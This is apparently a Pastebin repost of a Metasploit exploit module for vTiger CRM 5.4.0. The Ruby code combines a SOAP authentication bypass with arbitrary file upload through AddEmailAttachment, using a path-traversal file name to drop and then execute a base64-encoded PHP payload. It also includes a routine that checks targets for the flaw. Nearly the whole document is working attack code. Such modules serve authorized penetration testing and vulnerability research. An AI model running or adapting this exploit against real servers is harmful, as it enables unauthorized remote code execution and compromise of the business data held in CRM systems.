Advertisement
AndrewHaxalot

vTiger CRM SOAP AddEmailAttachment Arbitrary File Upload

Jan 11th, 2014
108
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.31 KB | None | 0 0
  1. ##
  2. # This module requires Metasploit: http//metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5.  
  6. require 'msf/core'
  7. require 'rexml/document'
  8.  
  9. class Metasploit3 < Msf::Exploit::Remote
  10. Rank = ExcellentRanking
  11.  
  12. include REXML
  13. include Msf::Exploit::Remote::HttpClient
  14. include Msf::Exploit::FileDropper
  15.  
  16. def initialize(info = {})
  17. super(update_info(info,
  18. 'Name' => 'vTiger CRM SOAP AddEmailAttachment Arbitrary File Upload',
  19. 'Description' => %q{
  20. vTiger CRM allows an user to bypass authentication when requesting SOAP services.
  21. In addition, arbitrary file upload is possible through the AddEmailAttachment SOAP
  22. service. By combining both vulnerabilities an attacker can upload and execute PHP
  23. code. This module has been tested successfully on vTiger CRM v5.4.0 over Ubuntu
  24. 10.04 and Windows 2003 SP2.
  25. },
  26. 'Author' =>
  27. [
  28. 'Egidio Romano', # Vulnerability discovery
  29. 'juan vazquez' # msf module
  30. ],
  31. 'License' => MSF_LICENSE,
  32. 'References' =>
  33. [
  34. [ 'CVE', '2013-3214' ],
  35. [ 'CVE', '2013-3215' ],
  36. [ 'OSVDB', '95902' ],
  37. [ 'OSVDB', '95903' ],
  38. [ 'BID', '61558' ],
  39. [ 'BID', '61559' ],
  40. [ 'EDB', '27279' ],
  41. [ 'URL', 'http://karmainsecurity.com/KIS-2013-07' ],
  42. [ 'URL', 'http://karmainsecurity.com/KIS-2013-08' ]
  43. ],
  44. 'Privileged' => false,
  45. 'Platform' => ['php'],
  46. 'Arch' => ARCH_PHP,
  47. 'Payload' =>
  48. {
  49. # Arbitrary big number. The payload is sent base64 encoded
  50. # into a POST SOAP request
  51. 'Space' => 262144, # 256k
  52. 'DisableNops' => true
  53. },
  54. 'Targets' =>
  55. [
  56. [ 'vTigerCRM v5.4.0', { } ]
  57. ],
  58. 'DefaultTarget' => 0,
  59. 'DisclosureDate' => 'Mar 26 2013'))
  60.  
  61. register_options(
  62. [
  63. OptString.new('TARGETURI', [ true, "Base vTiger CRM directory path", '/vtigercrm/'])
  64. ], self.class)
  65. end
  66.  
  67. def check
  68. test_one = check_email_soap("admin", rand_text_alpha(4 + rand(4)))
  69. res = send_soap_request(test_one)
  70.  
  71. unless res and res.code == 200 and res.body.to_s =~ /<return xsi:nil="true" xsi:type="xsd:string"\/>/
  72. return Exploit::CheckCode::Unknown
  73. end
  74.  
  75. test_two = check_email_soap("admin")
  76. res = send_soap_request(test_two)
  77.  
  78. if res and res.code == 200 and (res.body.blank? or res.body.to_s =~ /<return xsi:type="xsd:string">.*<\/return>/)
  79. return Exploit::CheckCode::Vulnerable
  80. end
  81.  
  82. return Exploit::CheckCode::Safe
  83. end
  84.  
  85. def exploit
  86. file_name = rand_text_alpha(rand(10)+6) + '.php'
  87. php = %Q|<?php #{payload.encoded} ?>|
  88.  
  89. soap = add_attachment_soap(file_name, php)
  90. res = send_soap_request(soap)
  91.  
  92. print_status("#{peer} - Uploading payload...")
  93. if res and res.code == 200 and res.body.to_s =~ /<return xsi:type="xsd:string">.*<\/return>/
  94. print_good("#{peer} - Upload successfully uploaded")
  95. register_files_for_cleanup(file_name)
  96. else
  97. fail_with(Failure::Unknown, "#{peer} - Upload failed")
  98. end
  99.  
  100. print_status("#{peer} - Executing payload...")
  101. send_request_cgi({'uri' => normalize_uri(target_uri.path, 'soap', file_name)}, 0)
  102. end
  103.  
  104. def add_attachment_soap(file_name, file_data)
  105. xml = Document.new
  106. xml.add_element(
  107. "soapenv:Envelope",
  108. {
  109. 'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance",
  110. 'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema",
  111. 'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/",
  112. 'xmlns:crm' => "http://www.vtiger.com/products/crm"
  113. })
  114. xml.root.add_element("soapenv:Header")
  115. xml.root.add_element("soapenv:Body")
  116. body = xml.root.elements[2]
  117. body.add_element(
  118. "crm:AddEmailAttachment",
  119. {
  120. 'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/"
  121. })
  122. crm = body.elements[1]
  123. crm.add_element("emailid", {'xsi:type' => 'xsd:string'})
  124. crm.add_element("filedata", {'xsi:type' => 'xsd:string'})
  125. crm.add_element("filename", {'xsi:type' => 'xsd:string'})
  126. crm.add_element("filesize", {'xsi:type' => 'xsd:string'})
  127. crm.add_element("filetype", {'xsi:type' => 'xsd:string'})
  128. crm.add_element("username", {'xsi:type' => 'xsd:string'})
  129. crm.add_element("session", {'xsi:type' => 'xsd:string'})
  130. crm.elements['emailid'].text = rand_text_alpha(4+rand(4))
  131. crm.elements['filedata'].text = "MSF_PAYLOAD"
  132. crm.elements['filename'].text = "MSF_FILENAME"
  133. crm.elements['filesize'].text = file_data.length.to_s
  134. crm.elements['filetype'].text = "php"
  135. crm.elements['username'].text = rand_text_alpha(4+rand(4))
  136.  
  137. xml_string = xml.to_s
  138. xml_string.gsub!(/MSF_PAYLOAD/, Rex::Text.encode_base64(file_data))
  139. xml_string.gsub!(/MSF_FILENAME/, "../../../../../../#{file_name}")
  140.  
  141. return xml_string
  142. end
  143.  
  144. def check_email_soap(user_name = "", session = "")
  145. xml = Document.new
  146. xml.add_element(
  147. "soapenv:Envelope",
  148. {
  149. 'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance",
  150. 'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema",
  151. 'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/",
  152. 'xmlns:crm' => "http://www.vtiger.com/products/crm"
  153. })
  154. xml.root.add_element("soapenv:Header")
  155. xml.root.add_element("soapenv:Body")
  156. body = xml.root.elements[2]
  157. body.add_element(
  158. "crm:CheckEmailPermission",
  159. {
  160. 'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/"
  161. })
  162. crm = body.elements[1]
  163. crm.add_element("username", {'xsi:type' => 'xsd:string'})
  164. crm.add_element("session", {'xsi:type' => 'xsd:string'})
  165. crm.elements['username'].text = user_name
  166. crm.elements['session'].text = session
  167.  
  168. xml.to_s
  169. end
  170.  
  171. def send_soap_request(soap_data)
  172. res = send_request_cgi({
  173. 'uri' => normalize_uri(target_uri.path, 'soap', 'vtigerolservice.php'),
  174. 'method' => 'POST',
  175. 'ctype' => 'text/xml; charset=UTF-8',
  176. 'data' => soap_data
  177. })
  178.  
  179. return res
  180. end
  181.  
  182. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement